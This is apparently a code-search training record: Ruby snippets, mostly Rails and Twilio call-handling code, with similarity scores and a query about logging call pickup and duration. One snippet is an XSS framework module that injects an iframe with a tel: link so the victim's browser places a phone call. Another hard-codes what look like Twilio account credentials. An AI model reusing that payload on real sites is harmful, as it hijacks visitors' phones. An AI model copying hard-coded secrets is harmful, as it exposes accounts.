"def index\n @calls = Call.all\n @account_sid = 'AC17355db7790d2916f0e059ec874d62aa' \n @auth_token = '626448ea4774753933df10fa70d779b4' \n \n # set up a client to talk to the Twilio REST API \n # @client = Twilio::REST::Client.new(@account_sid, @auth_token)\n \n # @call = @client.account.calls.create({ \n # :from => '+6421428583',\n # :to => '+644769123', \n # :method => 'GET', \n # :fallback_method => 'GET', \n # :status_callback_method => 'GET', \n # :record => 'false'\n # })\n\n # This application sid will play a Welcome Message.\n @demo_app_sid = 'APabe7650f654fc34655fc81ae71caa3ff'\n @capability = Twilio::Util::Capability.new( @account_sid, @auth_token)\n @capability.allow_client_outgoing @demo_app_sid\n @token = @capability.generate\n # @erb :index, :locals => {:token => @token} \n\n\n\n \n\n end",
"def contact_info(xml)\n super # placeholder so that I can add some doc\n end",
"def show\n @call = Call.find(params[:id])\n @lon = @call.longitude\n @lat = @call.latitude\n @name = @call.caller.user.name\n \n respond_to do |format|\n format.html {render :layout => false }\n format.xml { render :xml => @call }\n end\n end",
"def incoming_text\n # Looks up the incoming phone number in our database and\n # retrieves the lead if found:\n begin\n standard_phone = Phoner::Phone.parse(params['From'], country_code: '1').to_s\n @lead = Lead.find_by(standard_phone: standard_phone) if standard_phone\n rescue\n # An exception may happen if the texter's phone number has a very unusual\n # format. We can just move on, as finding the texter's number in our\n # database is not critical.\n end\n\n # If we do find the texter in our database, we provide extra info about\n # this lead to our call converter:\n extra_info = @lead.email if @lead\n\n # We text the texter's message to the call converter's phone:\n @client = Twilio::REST::Client.new\n @client.messages.create(\n from: ENV['TWILIO_PHONE_NUMBER'],\n to: ENV['EMPLOYEE_PHONE_NUMBER'],\n body: \"Message from #{params['From']}: #{params['Body']}. Extra Info: #{extra_info}\"\n )\n end",
"def new\n @call_type_info = CallTypeInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @call_type_info }\n end\n end",
"def create\n @call_history = CallHistory.new(params[:call_history])\n\n respond_to do |format|\n if @call_history.save\n format.html { redirect_to(@call_history, :notice => 'Call history was successfully created.') }\n format.json { render :json => @call_history, :status => :created, :location => @call_history }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @call_history.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @caller = Caller.new\n @pushed = Pushed.new(:caller => @caller)\n @user = User.find(params[:call][:caller])\n params[:call].delete(:caller)\n @user.caller = @caller\n \n @call = Call.new(params[:call])\n @caller.call = @call\n @caller.save\n @user.save\n @pushed.save\n respond_to do |format|\n if @call.save\n format.html { redirect_to(@call, :notice => 'Call was successfully created.') }\n format.xml { render :xml => @call, :status => :created, :location => @call }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @call.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def scan_call(call_info)\n call_description = call_info[:call_description]\n # TODO: Lazy check\n match = call_description && call_pattern.map { |p| p.match(call_description) }.compact.first\n if match\n call = extract_groups(match)\n # Update file entry with expanded path\n call[:file] = find_file(call[:file]) if call[:file]\n\n call_info[:call] = call\n end\n\n call_info\n end",
"def create\n @call = Call.new(params[:call]) \n\n respond_to do |format|\n if @call.save\n format.html { redirect_to @call, notice: 'Call was successfully created.' }\n format.json { render json: @call, status: :created, location: @call }\n\n # Schedule call \n #IRON_CLIENT.schedules.create('CallTrigger', {id: @call.id}, {start_at: @call.time})\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def on_request_uri(cli, req)\n\t\tcode = %Q{\n\t\t\tdocument.body.innerHTML = \"<iframe src=tel:#{datastore['phoneNumber']}></iframe>\";\n\t\t\tXSSF_POST(\"Phone call launched\",'#{self.name}');\n\t\t}\n\t\t\n\t\tsend_response(cli, code)\n\tend",
"def call_site_report( cs, include_count = false )\n header = [ \"Called\" ]\n header << \"#{cs.invocation_count} time(s)\" if include_count\n header << \"from #{cs.file}:#{cs.line_number}\"\n\n lines = [ header.join(' ') ]\n lines << \"\"\n cs.formatted_context_lines.each do |l|\n lines << \" #{l.rstrip}\"\n end\n lines << \"\"\n return lines\n end",
"def actions()\n\t(\n\t\tcall_src_sip_username = _arg( 'Caller-Username' )\n\t\tcall_src_cid_userinfo = _arg( 'Caller-Caller-ID-Number' )\n\t\tcall_src_cid_displayname = _arg( 'Caller-Caller-ID-Name' )\n\t\tcall_dst_sip_userinfo = _arg( 'Caller-Destination-Number' )\n\t\tcall_dst_sip_domain = _arg( 'var_sip_to_host' )\n\t\t\n\t\t# Strip \"-kambridge-\" prefix added in kamailio.cfg:\n\t\tcall_dst_sip_userinfo = call_dst_sip_userinfo.gsub( /^-kambridge-/, '' )\n\t\t\n\t\tlogger.info(_bold( \"[FS] Call-proc. request, acct. #{call_src_sip_username.inspect} as #{call_src_cid_userinfo.inspect} (#{call_src_cid_displayname.inspect}) -> #{call_dst_sip_userinfo.inspect} ...\" ))\n\t\t_args.each { |k,v|\n\t\t\tcase v\n\t\t\t\twhen String\n\t\t\t\t\t#logger.debug( \" #{k.ljust(36)} = #{v.inspect}\" )\n\t\t\t\t#when Hash\n\t\t\t\t#\tv.each { |k1,v1|\n\t\t\t\t#\t\tlogger.debug( \" #{k}[ #{k1.ljust(30)} ] = #{v1.inspect}\" )\n\t\t\t\t#\t}\n\t\t\tend\n\t\t}\n\t\t\n\t\t# For FreeSwitch dialplan applications see\n\t\t# http://wiki.freeswitch.org/wiki/Mod_dptools\n\t\t# http://wiki.freeswitch.org/wiki/Category:Dptools\n\t\t\n\t\t# Note: If you want to do multiple iterations (requests) you\n\t\t# have to set channel variables to keep track of \"where you\n\t\t# are\" i.e. what you have done already.\n\t\t# And you have to explicitly send \"_continue\" as the last\n\t\t# application.\n\t\t\t\t\n\t\tif call_dst_sip_userinfo.blank?\n\t\t\tcase _arg( 'Answer-State' )\n\t\t\t\twhen 'ringing'\n\t\t\t\t\taction :respond , '404 Not Found' # or '400 Bad Request'? or '484 Address Incomplete'?\n\t\t\t\telse\n\t\t\t\t\taction :hangup , ''\n\t\t\tend\n\t\telse\n\t\t\t\n\t\t\tcall_dst_real_sip_username = call_dst_sip_userinfo # un-alias\n\t\t\t# (Alias lookup has already been done in kamailio.cfg.)\n\t\t\t\n\t\t\t# Here's an example: {\n\t\t\t#action :set , 'effective_caller_id_number=1234567'\n\t\t\t#action :bridge , \"sofia/internal/#{call_dst_real_sip_username}\"\n\t\t\t#action :answer\n\t\t\t#action :sleep , 1000\n\t\t\t#action :playback , 'tone_stream://%(500, 0, 640)'\n\t\t\t#action :set , 'voicemail_authorized=${sip_authorized}'\n\t\t\t#action :voicemail , \"default $${domain} #{call_dst_real_sip_username}\"\n\t\t\t#action :hangup\n\t\t\t#action :_continue\n\t\t\t# end of example }\n\t\t\t\n\t\t\t\n\t\t\t# http://kb.asipto.com/freeswitch:kamailio-3.1.x-freeswitch-1.0.6d-sbc#dialplan\n\t\t\t\n\t\t\t#OPTIMIZE Implement call-forwardings here ...\n\t\t\t\n\t\t\t# Ring the SIP user via Kamailio for 30 seconds:\n\t\t\taction_log( FS_LOG_INFO, \"Calling #{call_dst_real_sip_username} ...\" )\n\t\t\taction :set , \"call_timeout=5\"\n\t\t\taction :export , \"sip_contact_user=ufs\"\n\t\t\taction :bridge , \"sofia/internal/#{call_dst_real_sip_username}@127.0.0.1\"\n\t\t\t\n\t\t\t#OPTIMIZE Implement call-forward on busy/unavailable here ...\n\t\t\t\n\t\t\t# Go to voicemail:\n\t\t\taction_log( FS_LOG_INFO, \"Going to voicemail ...\" )\n\t\t\taction :answer\n\t\t\taction :voicemail , \"default #{call_dst_sip_domain} #{call_dst_real_sip_username}\"\n\t\t\taction :hangup\n\t\t\t\n\t\t\t\n\t\tend\n\t\t\n\t\t\n\t\trespond_to { |format|\n\t\t\tformat.xml {\n\t\t\t\trender :actions, :layout => false\n\t\t\t}\n\t\t\tformat.all {\n\t\t\t\trender :status => '406 Not Acceptable',\n\t\t\t\t\t:layout => false, :content_type => 'text/plain',\n\t\t\t\t\t:text => \"<!-- Only XML format is supported. -->\"\n\t\t\t}\n\t\t}\n\t\treturn\n\t)end",
"def reminderCall\n @twilio_number = ENV['TWILIO_NUMBER']\n @client = Twilio::REST::Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n call = @client.account.calls.create(\n :from => @twilio_number,\n :to => self.phone_number,\n :url => 'https://clockairos.herokuapp.com/twilio/call',\n :method => 'POST',\n :fallback_method => 'GET',\n :status_callback_method => 'GET',\n :if_machine => 'Hangup',\n :timeout => '30',\n :record => 'false'\n )\n puts call.to\n end",
"def call_tracing\n @page_title = _('Call_Tracing')\n @page_icon = 'lightning.png'\n @users = User.find_all_for_select(correct_owner_id)\n end",
"def receive_inbound_call\n campaign_id = params[:campaign_id]\n outbound_call = Campaign.outbound_call_instructions(campaign_id)\n render :xml => outbound_call.text\n end",
"def transcribe\n @call = Call.find(params[:id])\n @call.update_attribute :transcription_text, params[:TranscriptionText] || @call.transcription_text\n @call.update_attribute :transcription_status, params[:TranscriptionStatus] || @call.transcription_status\n \n render \"calls/twiml/recording/#{@call.template}.xml.erb\"\n end",
"def update_activity_logs\n request_number = request.number\n req_link = \"<a href = 'requests/#{request_number}'>#{request_number}</a>\"\n app = request.app_name.size > 1 ? \"Applications\" : \"Application\"\n # Log activity is not supported in Rails3\n #User.current_user.log_activity(:context => \"#{req_link} has been #{request.aasm_state} for #{app} #{request.app_name.to_sentence}\") do\n #end\n end",
"def create\n @call = Call.new(call_params)\n \n # put your own credentials here \n \n respond_to do |format|\n if @call.save\n format.html { redirect_to @call, notice: 'Call was successfully created.' }\n format.json { render :show, status: :created, location: @call }\n else\n format.html { render :new }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def entry(log_level = Gml::LOG_LEVEL_INFO, log_entry = \"\", caller_depth = 1)\n if ((log_level <= @options[:log_level]) && (@options[:console] || @options[:output]))\n at = caller_locations()[caller_depth]\n out = \"[#{Time.now.strftime(@options[:time_format])}] #{Gml::LOG_STRINGS[log_level]} \"\n out << \"[#{File.basename(at.absolute_path)}->#{at.label}: #{at.lineno}]\"\n out << \" - \" if log_entry.size > 0\n out << log_entry\n\n @options[:console].puts(out) if @options[:console]\n\n if (@options[:output])\n if (@options[:output].is_a?(IO))\n @options[:output].puts(out)\n\n else\n out << \"\\n\"\n File.write(@options[:output], out, (File.exist?(@options[:output]) ? File.size(@options[:output]) : 0))\n end\n\n end\n\n end\n end",
"def add_call_to_db(bridged_call_request, twilio_response, success=false)\n return -1 if bridged_call_request.isTestCall\n\n @history.insert({\n hotel_id: bridged_call_request.hotelId,\n hotel_phone: PhoneNumber.new(bridged_call_request.hotelPhone).to_s,\n sales_agent_id: bridged_call_request.salesAgentId,\n sales_agent_phone: PhoneNumber.new(bridged_call_request.salesAgentPhone).to_s,\n customer_phone: PhoneNumber.new(bridged_call_request.customerPhone).to_s,\n lega_sid: (twilio_response.nil?) ? SecureRandom.hex : twilio_response.sid,\n direction: 'OUTBOUND', \n connected: success,\n timestamp: DateTime.now\n })\n end",
"def create\n @phonecall = Phonecall.new(params[:phonecall])\n\n respond_to do |format|\n if @phonecall.save\n flash[:notice] = 'Phonecall was successfully created.'\n format.html { redirect_to(@phonecall) }\n format.xml { render :xml => @phonecall, :status => :created, :location => @phonecall }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @phonecall.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @calllogs = Calllog.all\n end",
"def log_http_call(payload); end",
"def log_http_call(payload); end",
"def callwide_events()\n on :event => 'error', :next => '/error.json' # For fatal programming errors. Log some details so we can fix it\n on :event => 'hangup', :next => '/hangup.json' # When a user hangs or call is done. We will want to log some details.\nend",
"def create_log(param); end",
"def create\n @call_detail = CallDetail.new(call_detail_params)\n\n respond_to do |format|\n if @call_detail.save\n format.html { redirect_to @call_detail, notice: 'Call detail was successfully created.' }\n format.json { render :show, status: :created, location: @call_detail }\n else\n format.html { render :new }\n format.json { render json: @call_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def start_gather_info\n\t\t@reminder = Reminder.find(params[:id])\n\t\t@reminder.create_report\n\t\t\n\t\t# set up a client to talk to the Twilio REST API \n\t\t@client = Twilio::REST::Client.new ACC_SID, AUTH_TOKEN\n\t\tUser.all.each do |u|\n\t\t\t@client.account.calls.create({\n\t\t\t\t:from => '+918754489839', \n\t\t\t\t:to => \"+91#{u.mobile_number}\", \n\t\t\t\t:url => twilio_voice_callback_reminder_url(@reminder, :format => \"xml\"), \n\t\t\t\t:method => 'GET', \n\t\t\t\t:fallback_method => 'GET', \n\t\t\t\t:status_callback_method => 'GET', \n\t\t\t\t:record => 'false'\n\t\t\t})\n\t\tend\n\t\tredirect_to reminders_path\n\tend",
"def create\n @event_recurrence = EventRecurrence.new(event_recurrence_params)\n @call = Call.new(call_params)\n @call.event_recurrence = @event_recurrence \n\n respond_to do |format|\n if @call.save && @event_recurrence.save\n format.html { redirect_to @call, notice: 'Call was successfully created.' }\n format.json { render :show, status: :created, location: @call }\n else\n format.html { render :new }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def outboundcall\n # This FromPhoneNumber should have been verified in the associated sub-account\n render_twiml generateTwiml(params[:FromPhoneNumber], params[:ToPhoneNumber])\n end",
"def get_call_history(app_id)\n JSON.parse((@cloudvox_api[\"/applications/\" + app_id + \"/call_detail_records.json\"].get).body)\n end",
"def render_call_number args, results = Array.new\n locations = [\"rx\", \"rhlrr\", \"rharr\", \"rhs2\", \"rhs2o\", \"rhs3\"]\n if args[:document][\"marc_ss\"]\n MARC::XMLReader.new(StringIO.new(args[:document][\"marc_ss\"])).first.find_all {|f| f.tag == '945'}.each do |field|\n results << field['a'] if locations.include?(field['l'].strip)\n end\n end\n return results.join(field_value_separator).html_safe\n end",
"def create\n @call = Call.new(call_params)\n @call.client = ClientPhone.find_by(phone: @call.phone).try(:client)\n @call.internal = Internal.find(params[:call][:internal_id])\n @call.call_type = CallType.find(params[:call][:call_type_id])\n\n respond_to do |format|\n if @call.save\n format.html { redirect_to @call, notice: 'Call was successfully created.' }\n format.json { render status: :ok, json: @call }\n else\n format.html { render :new }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def make_call(to, path, call_back_path)\n from = '+18015131966'\n req_params = {\n from: from,\n to: to,\n url: \"#{ENV['CALL_SERVICE_URL']}#{path}\",\n if_machine: \"Hangup\",\n status_callback: \"#{ENV['CALL_SERVICE_URL']}#{call_back_path}\",\n timeout: 10\n\n }\n\n if Rails.env == \"development\"\n url = \"http://127.0.0.1:4567/make_call\"\n RestClient.post url, req_params\n else\n client = Twilio::REST::Client.new(ENV[\"TWILIO_SID\"], ENV[\"TWILIO_TOKEN\"])\n account = client.account\n call = account.calls.create(req_params)\n end\n end",
"def render_call_number args, results = Array.new\n locations = [\"rx\", \"rhlrr\", \"rharr\", \"rhs2\", \"rhs2o\", \"rhs3\"]\n if args[:document][\"marc_display\"]\n MARC::XMLReader.new(StringIO.new(args[:document][\"marc_display\"])).first.find_all {|f| f.tag == '945'}.each do |field|\n results << field['a'] if locations.include?(field['l'].strip)\n end\n end\n return results.join(field_value_separator).html_safe\n end",
"def show\n @call = Call.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @call }\n end\n end",
"def start_calls\n @running = true\n ahn_log.hammer.debug 'Calls started...'\n end",
"def log_output()\n prefix = @global_opts[:prefix] ? (@global_opts[:prefix] + \"-\") : \"\"\n t = Time.now.strftime(\"%Y%m%d%H%M%S\")\n\n # Check for any returned records\n if (@successes > 0 and not [\"set\", \"unset\", \"check\"].include?(@cmd))\n any_records = true\n else\n any_records = false\n end\n\n # Data\n if any_records\n data_filename = prefix + \"wc-\" + @cmd + \"-\" + t + \".xml\"\n data = File.new(data_filename, \"w+:UTF-8\")\n data.write(@response_data)\n data.close\n end\n\n status_extension = @global_opts[:csv] ? \".csv\" : \".txt\"\n status_filename = prefix + \"wc-\" + @cmd + \"-\" + t + \"-log\" + status_extension\n\n # Summary\n summary = \"\"\n summary << <<~SUMMARY\n OCLC WorldCat Metadata API: #{@cmd.capitalize} operation\n #{PAST_TENSE[@cmd].capitalize} #{@successes.to_s} #{@successes != 1 ? \"records\" : \"record\"} and #{@failures.to_s} failed\n #{\"Records written to \" + data_filename if any_records}\n Log written to #{status_filename}\n SUMMARY\n\n # Status log\n status = File.new(status_filename, \"w+:UTF-8\")\n status.write(@debug_info) if @global_opts[:debug]\n status.write(summary + \"\\n\")\n status.write(@response_status)\n status.close\n\n puts summary\n end",
"def set_call_history\n @call_history = CallHistory.find(params[:id])\n end",
"def set_call_history\n @call_history = CallHistory.find(params[:id])\n end",
"def print\r\n puts name + \" \" + className + \" says \" + \"\\\"\" + call + \"\\\"\"\r\n end",
"def to_s\n values = @params.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Insights.V1.CallInstance #{values}>\"\n end",
"def show\n @call = Cdr.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @call }\n end\n end",
"def create\n @call_to_action = CallToAction.new(call_to_action_params)\n\n respond_to do |format|\n if @call_to_action.save\n format.html { redirect_to current_user, notice: 'Call to action was successfully created.' }\n format.json { render :show, status: :created, location: @call_to_action }\n else\n format.html { render :new }\n format.json { render json: @call_to_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end",
"def callback\n twilio_id = params[:CallSid]\n call = Call.where('twilio_id = ?', twilio_id).first\n call.get_recording_info(twilio_id, params[:CallDuration], params[:AnsweredBy])\n render :json => 'callback success'\n end",
"def call_number\n call['dispCallNumber'] || fields['dispCallNumber']\n end",
"def add_activity(*args)\n append_data(\"activity_log\",args.join(\" : \"))\n end",
"def update\n @call_log = CallLog.find(params[:id])\n\n respond_to do |format|\n if @call_log.update_attributes(params[:call_log])\n format.html { redirect_to(@call_log, :notice => t(:call_log_updated)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @call_log.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def info(msg) log(INFO, \"INFO \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end",
"def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Insights.V1.CallInstance #{values}>\"\n end",
"def provider_gather\n\n\t\tcontact = TwilioContact.where(id: params[:id]).first\n\n\t\t# determine if the provider wants to talk to client\n\t\tif params[:Digits] == '1'\n\t\t\tcontact.delay.make_callback(\"paused\")\n\t\t\tcontact.accepted = true\n\t\t\tcontact.save\n\t\t\t@number = contact.call_job.phone\n\t\telse\n\t\t\trender 'end_call'\n\t\tend\n\n\t\t# save request to history\n\t\tparams[:Action] = \"Provider_Gather\"\n\t\tTwilioHistory.create(history_params);\n\n\t\trespond_to :xml\n\tend",
"def call(log, logger)\n # Header with date, time, log level and process info\n message = \"#{log.level_to_s} [#{log.process_info}]\"\n\n # Tags\n message << ' ' << log.tags.collect { |tag| \"[#{tag}]\" }.join(' ') if log.tags && (log.tags.size > 0)\n\n # Duration\n message << \" (#{log.duration_human})\" if log.duration\n\n # Class / app name\n message << \" #{log.name}\"\n\n # Log message\n message << \" -- #{log.message}\" if log.message\n\n # Payload\n if payload = log.payload_to_s\n message << ' -- ' << payload\n end\n\n # Exceptions\n if log.exception\n message << \" -- Exception: #{log.exception.class}: #{log.exception.message}\\n\"\n message << log.backtrace_to_s\n end\n message\n end",
"def newCall\n if params.has_key?([:callerName])\n callerName = params[:callerName]\n session[:value] = [params[:callerName]]\n end\n end",
"def start_node_log(node_id, node_title, node_record)\r\n @node_filename = \"node-#{node_id}.html\"\r\n @node_file = File.new(File.join(@logdir, @node_filename), 'w')\r\n @node_id = node_id\r\n @node_title = node_title\r\n @node_record = node_record\r\n @node_message_counts = {}\r\n @node_message_counts.default = 0\r\n\r\n start_log_file @node_file, \"Conversion of node ID #{node_id}: #{node_title}\"\r\n end",
"def create\n @request_call = RequestCall.new(params[:request_call])\n\n respond_to do |format|\n if @request_call.save\n format.html { redirect_to thanks_quick_orders_path, notice: 'Request call was successfully created.' }\n OrderMailer.new_call_mail(@request_call).deliver\n # OrderMailer.dev_call_mail(@request_call).deliver\n format.json { render json: @request_call, status: :created, location: @request_call }\n else\n format.html { render action: \"new\" }\n format.json { render json: @request_call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Insights.V1.CallContext #{context}>\"\n end",
"def process_request\n @build_xml = build_xml\n pickup_serv_log('Final XML Request : ' + @build_xml.to_s)\n api_url_srv = api_url + \"/pickup\"\n pickup_serv_log('URL for API : ' + api_url_srv.to_s)\n api_response = self.class.post(api_url_srv, :body => build_xml)\n pickup_serv_log('API Response : ' + api_response.to_s)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n pickup_serv_log('Successfully Done : ' + response.to_s)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def context\n unless @instance_context\n @instance_context = CallSummaryContext.new(@version , @params['call_sid'])\n end\n @instance_context\n end",
"def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Api.V2010.CallContext #{context}>\"\n end",
"def print\r\n\t\tputs name + \" \" + className + \" says \" + call\r\n\tend",
"def new\n @call_history = CallHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @call_history }\n end\n end",
"def print\n\t\tputs name + \" \" + className + \" says \" + call\n\tend",
"def call\n end",
"def inspect\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Api.V2010.CallContext #{context}>\"\n end",
"def to_s\n context = @solution.map {|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Api.V2010.CallContext #{context}>\"\n end",
"def start_stats\n @entry = CallStat.new\n @entry.user = @current_user\n if (params[:lon])\n @entry.longitude = params[:lon]\n end\n if (params[:lat])\n @entry.latitude = params[:lon]\n end\n if (params[:t])\n @entry.call_time = Time.parse(params[:t])\n end\n @entry.recv_time = Time.now\n @entry.sessionid = request.session_options[:id]\n @entry.controller = self.controller_name\n @entry.action = self.action_name\n end",
"def to_text\n \"#{name}: #{call}\"\n end",
"def request_wrap\n xml = <<-XML\n<CallSource version=\"E\">\n<Username>#{@user}</Username> \n<Authentication>#{auth_token}</Authentication> \n#{@service_tag}\n</CallSource>\n XML\n xml.strip!\n end",
"def create\n @number_call = NumberCall.new(params[:number_call])\n\n respond_to do |format|\n if @number_call.save\n format.html { redirect_to @number_call, notice: 'Number call was successfully created.' }\n format.json { render json: @number_call, status: :created, location: @number_call }\n else\n format.html { render action: \"new\" }\n format.json { render json: @number_call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def calls; end",
"def calls; end",
"def create\n @call = Call.new(call_params)\n respond_to do |format|\n if @call.save\n format.html { redirect_to \"https://solidarity.org.il/%d7%a4%d7%a0%d7%99%d7%99%d7%aa%d7%9a-%d7%94%d7%aa%d7%a7%d7%91%d7%9c%d7%94/\" }\n else\n format.html { render :new }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def print_call ( i )\n\tname = @call.call_lookup i.target.hex\n\tif name\n\t w = i.line.split\n\t print w[0] + \"\\t\" + w[1] + \"\\t\\t\" + w[2]\n\t print \"\\t\" + name + \"\\t\\t; \" + w[3] + \"\\n\"\n\t #puts i.line + \"\\t; \" + name\n\telse\n\t # should never happen\n\t puts i.line + \"\\t; \" + \"????\"\n\tend\n end"
] |
[
"0.6427556",
"0.6177012",
"0.61453575",
"0.60692173",
"0.60169286",
"0.6014099",
"0.5973682",
"0.59726775",
"0.5934904",
"0.5930262",
"0.59135586",
"0.5731635",
"0.57307154",
"0.5712374",
"0.56764346",
"0.5645702",
"0.5640544",
"0.56098324",
"0.5569632",
"0.5541602",
"0.5469511",
"0.5399076",
"0.5380097",
"0.53761655",
"0.5363268",
"0.53547925",
"0.5348176",
"0.533645",
"0.5324256",
"0.531123",
"0.5299376",
"0.527567",
"0.52743185",
"0.52737266",
"0.5271239",
"0.5241197",
"0.5226673",
"0.5207324",
"0.51913834",
"0.5170059",
"0.5145052",
"0.5138842",
"0.5133538",
"0.51263463",
"0.5120157",
"0.5116244",
"0.5116221",
"0.51124",
"0.5102655",
"0.50815856",
"0.50815856",
"0.5080909",
"0.50726837",
"0.5066371",
"0.50594574",
"0.5046226",
"0.5038063",
"0.50269645",
"0.50180465",
"0.5007019",
"0.4998978",
"0.4997911",
"0.49948257",
"0.49881247",
"0.49813703",
"0.49768466",
"0.49768466",
"0.49496526",
"0.49410576",
"0.4939567",
"0.4932743",
"0.4921838",
"0.4913582",
"0.4909086",
"0.4899343",
"0.48967424",
"0.48931512",
"0.48852694",
"0.48713157",
"0.4864142",
"0.4862161",
"0.48594728",
"0.48569095",
"0.48518983",
"0.4848756",
"0.4845142",
"0.4843131",
"0.48421603",
"0.4841928",
"0.4838489",
"0.4836631",
"0.48354492",
"0.48315597",
"0.48306373",
"0.48304647",
"0.48286903",
"0.48240122",
"0.4823895",
"0.4823895",
"0.48214206",
"0.48205832"
] |
0.0
|
-1
|
This route can be triggered by several events during a call, and we act for only a few of them
|
def log
# When someone actually picks up the call
if params[:DialAction] == 'answer'
user_number = UserNumber.find_by_sip_endpoint(params[:DialBLegTo])
@call.update! user_number: user_number
# When the call is over, we log the call duration and the time it took to
# pick up the call
elsif params[:DialAction] == 'hangup' &&
params[:DialBLegHangupCause] == 'NORMAL_CLEARING'
pickup_time = params[:AnswerTime].to_time - params[:StartTime].to_time
@call.update! duration: params[:DialBLegDuration], pickup_time: pickup_time
end
render nothing: true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def callwide_events()\n on :event => 'error', :next => '/error.json' # For fatal programming errors. Log some details so we can fix it\n on :event => 'hangup', :next => '/hangup.json' # When a user hangs or call is done. We will want to log some details.\nend",
"def route\n #TODO\n end",
"def routes(&block); end",
"def routes(&block); end",
"def call_routes\n return @call_routes\n end",
"def route() request.route end",
"def route14\n end",
"def events\n # ignore messages from bots!\n\n case params[:type]\n when 'url_verification'\n logger.info \"verifying url\"\n render json: { challenge: params[:challenge] }\n when 'event_callback'\n return unless event_params[:bot_id].nil?\n\n render json: nil\n ProcessSlackMessageJob.perform_later(event_params.as_json)\n\n else\n logger.info '*'*10\n logger.info \"Unknown event type: #{params[:type]}\"\n logger.info params.inspect\n end\n end",
"def handle_routes\n instance_exec(@_roda_app.request, &self.class.router_block)\n end",
"def receive(request); end",
"def route(*args)\n @app.log << \"route #{args.inspect[1..-2]}\"\n @app.route(*args)\nend",
"def reroute_callbacks\n @reroute_callbacks\n end",
"def send_events; end",
"def events\n end",
"def route_name; end",
"def route_name; end",
"def route_index; end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def call\n catch_event unless no_event_possible?\n end",
"def log_dispatch(robot, route)\n robot.logger.debug I18n.t(\n \"lita.handler.dispatch\",\n handler: name,\n method: route.callback.method_name || \"(block)\"\n )\n end",
"def log_dispatch(robot, route)\n robot.logger.debug I18n.t(\n \"lita.handler.dispatch\",\n handler: name,\n method: route.callback.method_name || \"(block)\"\n )\n end",
"def call_routes=(value)\n @call_routes = value\n end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def process(request_hash)\n request = Request.new(request_hash)\n case request.path\n when '/'\n index_route(request)\n when %r{^/sleep/\\d+$}\n sleep_route(request)\n else\n Response.new(\n \"No route found for #{request.path}. Try '/' or '/sleep/3'.\",\n status: 404\n )\n end\n end",
"def event; end",
"def event; end",
"def event; end",
"def routes=(_arg0); end",
"def routes=(_arg0); end",
"def routes=(_arg0); end",
"def process_route_with_tracing(*args)\n begin\n env['newrelic.last_route'] = args[0]\n rescue => e\n ::NewRelic::Agent.logger.debug('Failed determining last route in Sinatra', e)\n end\n yield\n end",
"def call(env)\n route = self.route(env)\n if route\n env['params'] = route.match(env) || {}\n route.call(env)\n else\n env['params'] = {}\n not_found.call(env)\n end\n end",
"def _routes; end",
"def handle_event(event)\n\n\t\tend",
"def custom_routes; end",
"def handler; end",
"def handler; end",
"def handle_event\n event = ChargeBee::Event.retrieve(params[:id]).event\n handle(event)\n head :ok\n rescue ChargebeeRails::UnauthorizedError => e\n log_errors(e)\n head :unauthorized\n end",
"def event_bus; end",
"def event_bus; end",
